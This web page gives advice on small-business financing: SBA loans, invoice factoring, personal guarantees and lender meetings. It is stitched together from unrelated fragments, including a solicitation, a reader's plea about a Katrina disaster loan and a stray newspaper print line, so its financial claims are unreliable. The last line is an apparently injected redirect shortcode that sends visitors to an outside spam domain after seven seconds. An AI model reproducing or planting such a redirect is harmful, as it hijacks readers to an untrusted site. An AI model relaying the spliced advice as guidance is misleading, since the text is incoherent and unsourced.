It seems to me that you may be getting some bad advice. We have been dealing with businesses with problems just like yours for many years. We can help you with this. Please call me at 619-279-7522 or email me at [email protected].
When you have strong personal credit and a young business with a lot of unpaid customer invoices, BlueVine and Fundbox are good financing options. Both offer invoice factoring at similar costs. Where they differ: minimum revenue and minimum credit score. With BlueVine, you need at least $120,000 in revenue and a minimum 530 personal credit score. Fundbox does not require a minimum revenue or credit score; the lender does require at least six months of activity in a compatible online accounting software.
For businesses with a year or more of history and revenue, you have more financing options, including SBA loans, term loans, business lines of credit and invoice factoring. Take our quiz to figure out your best financing options:
What are my options with my SBA home disaster loan from Hurricane Katrina. My now ex husband lived in the home for more than 2 years after I left him and paid the note. I did not want the house. We divorced, and as part of the divorce settlement agreed to ready it for sale or to rent. He left the country–moved to China. He has not paid even his half of the mortgage note and I can’t. i am on disability and only get $640 a month. He does not pay child support that was ordered. SBA took my entire tax refund last week without notice. Can I bankrupt on this loan? I need help.
Your business plan should include current and projected financials, and clearly demonstrate that your business will have enough cash flow to cover ongoing business expenses and the new loan payments. This can give the lender more confidence in your business, increasing your chances at loan approval. Your business plan should include:
Clear eligibility requirements: Though online lenders streamline the application process significantly over traditional banks, it’s still frustrating to start an application only to find out your business doesn’t meet minimum eligibility requirements.
Prior to submitting your application, it is important to consider the documents you’ll need to compile. We require your business’s three most recent bank statements and our one-page application to get started. Depending on other factors, a lender may request a month-to-date bank statement, tax returns, P&L and balance sheet.
• Meet with lender(s). You (and your advisors) should dress in a professional manner, as it is important for the lender to get an immediate positive impression, Anderson says. After a brief introduction, you should present the lender with two copies of your business plan, including your financial projections. You should discuss your business including the loan you are requesting (a formal written presentation is not required). The lender will ask questions and you should be prepared to provide detailed information in response. “Make the lender feel comfortable doing business with you,” Anderson says. If the lender is comfortable with the relationship, s/he will provide you with an SBA Loan Package that includes forms required by the SBA and information the lender requires. (SBA loan applications from different lenders are similar, but can vary.) One such form is authorization for the lender to access your personal credit reports — it is generally wise to minimize the number of such authorizations, as each time a lender checks your credit it will impact your FICO Score.
When you’re trying to get a loan for a fledgling business, your credit score as important as it is when you’re trying to get a personal loan. If you have a low credit score, your lender is likely to perceive you (and your business) as a greater risk. Try to boost your personal credit before applying for loans. It’s not a quick process, but it can save you time, frustration, and money in the long run.
The SBA requires a personal guarantee from every owner with at least a 20% ownership stake and from others who hold top management positions. A personal guarantee puts you and your personal assets on the hook for payments if your business can’t make them.
As a young entrepreneur with strong personal credit, you may find it easier to qualify for a personal loan or a business credit card. Personal loans and business credit cards are also decent options for startups because approval is based on personal credit score rather than business history. The amount you can finance is typically smaller than with a term loan, however, and you need good credit to qualify. Keep in mind that failure to repay can ruin your personal credit.
A version of this article appears in print on July 18, 2017, on Page A1 of the New York edition with the headline: Lost Paperwork May Erase Student Debt for Tens of Thousands. Order Reprints| Today’s Paper|Subscribe
If the SBA accepts your offer, then everyone will be happy as long as the repayments are made. In cases where the SBA rejects the offer, you usually have an opportunity to recalibrate and submit again. Other times, the SBA will simply send the account to the Treasury Department. At that point, the Treasury Department has a full range of collection options (like garnishing wages and taking tax returns). [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]